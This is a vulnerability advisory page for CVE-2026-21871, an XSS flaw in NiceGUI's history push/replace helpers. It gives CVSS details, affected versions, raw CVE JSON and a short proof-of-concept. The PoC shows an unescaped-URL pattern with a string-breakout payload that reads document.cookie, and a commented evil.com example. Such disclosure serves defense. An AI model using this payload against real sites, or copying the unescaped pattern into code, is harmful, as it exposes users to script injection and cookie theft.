Security Vulnerability Report
中文
CVE-2026-21871 CVSS 6.1 MEDIUM

CVE-2026-21871

Published: 2026-01-08 10:15:55
Last Modified: 2026-01-15 17:40:10

Description

NiceGUI is a Python-based UI framework. From versions 2.13.0 to 3.4.1, there is a XSS risk in NiceGUI when developers pass attacker-controlled strings into ui.navigate.history.push() or ui.navigate.history.replace(). These helpers are documented as History API wrappers for updating the browser URL without page reload. However, if the URL argument is embedded into generated JavaScript without proper escaping, a crafted payload can break out of the intended string context and execute arbitrary JavaScript in the victim’s browser. Applications that do not pass untrusted input into ui.navigate.history.push/replace are not affected. This issue has been patched in version 3.5.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:* - VULNERABLE
NiceGUI >= 2.13.0 且 < 3.5.0
NiceGUI 2.13.0
NiceGUI 2.14.0
NiceGUI 2.15.0
NiceGUI 3.0.0
NiceGUI 3.1.0
NiceGUI 3.2.0
NiceGUI 3.3.0
NiceGUI 3.4.0
NiceGUI 3.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21871 PoC - NiceGUI XSS in ui.navigate.history.push/replace # This PoC demonstrates how attacker-controlled input can lead to XSS from nicegui import app, ui # Vulnerable code pattern (affected versions 2.13.0 - 3.4.1) # DO NOT USE - This is for educational purposes only @app.get('/vulnerable') def vulnerable_page(): # Simulating attacker-controlled input (e.g., from URL parameter) attacker_url = "https://example.com/'); alert(document.cookie); //" # This will embed the payload into JavaScript without proper escaping ui.navigate.history.push(attacker_url) ui.label('Page content') # Attack vector explanation: # 1. Attacker crafts a malicious URL with XSS payload # 2. Payload: '); alert(document.cookie); // # 3. When pushed to history, it becomes: # history.pushState({}, '', "https://example.com/'); alert(document.cookie); //"); # 4. This breaks out of the string and executes arbitrary JS # Example of triggering the vulnerability: # ui.button('Navigate', on_click=lambda: ui.navigate.history.push( # "https://evil.com/'); malicious_code(); //" # )) # Safe alternative (patched in version 3.5.0): # from nicegui import ui # ui.navigate.history.push(safe_url) # Proper escaping is applied

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21871", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:55.300", "lastModified": "2026-01-15T17:40:09.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NiceGUI is a Python-based UI framework. From versions 2.13.0 to 3.4.1, there is a XSS risk in NiceGUI when developers pass attacker-controlled strings into ui.navigate.history.push() or ui.navigate.history.replace(). These helpers are documented as History API wrappers for updating the browser URL without page reload. However, if the URL argument is embedded into generated JavaScript without proper escaping, a crafted payload can break out of the intended string context and execute arbitrary JavaScript in the victim’s browser. Applications that do not pass untrusted input into ui.navigate.history.push/replace are not affected. This issue has been patched in version 3.5.0."}, {"lang": "es", "value": "NiceGUI es un framework de interfaz de usuario (UI) basado en Python. Desde las versiones 2.13.0 hasta la 3.4.1, existe un riesgo de XSS en NiceGUI cuando los desarrolladores pasan cadenas controladas por el atacante a ui.navigate.history.push() o ui.navigate.history.replace(). Estas funciones auxiliares están documentadas como envoltorios de la API de History para actualizar la URL del navegador sin recargar la página. Sin embargo, si el argumento de la URL se incrusta en JavaScript generado sin el escape adecuado, una carga útil diseñada puede salir del contexto de cadena previsto y ejecutar JavaScript arbitrario en el navegador de la víctima. Las aplicaciones que no pasan entradas no confiables a ui.navigate.history.push/replace no se ven afectadas. Este problema ha sido parcheado en la versión 3.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.13.0", "versionEndExcluding": "3.5.0", "matchCriteriaId": "09329AA3-8C5E-402E-97FB-3BE65F4F0DF7"}]}]}], "references": [{"url": "https://github.com/zauberzeug/nicegui/releases/tag/v3.5.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-7grm-h62g-5m97", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}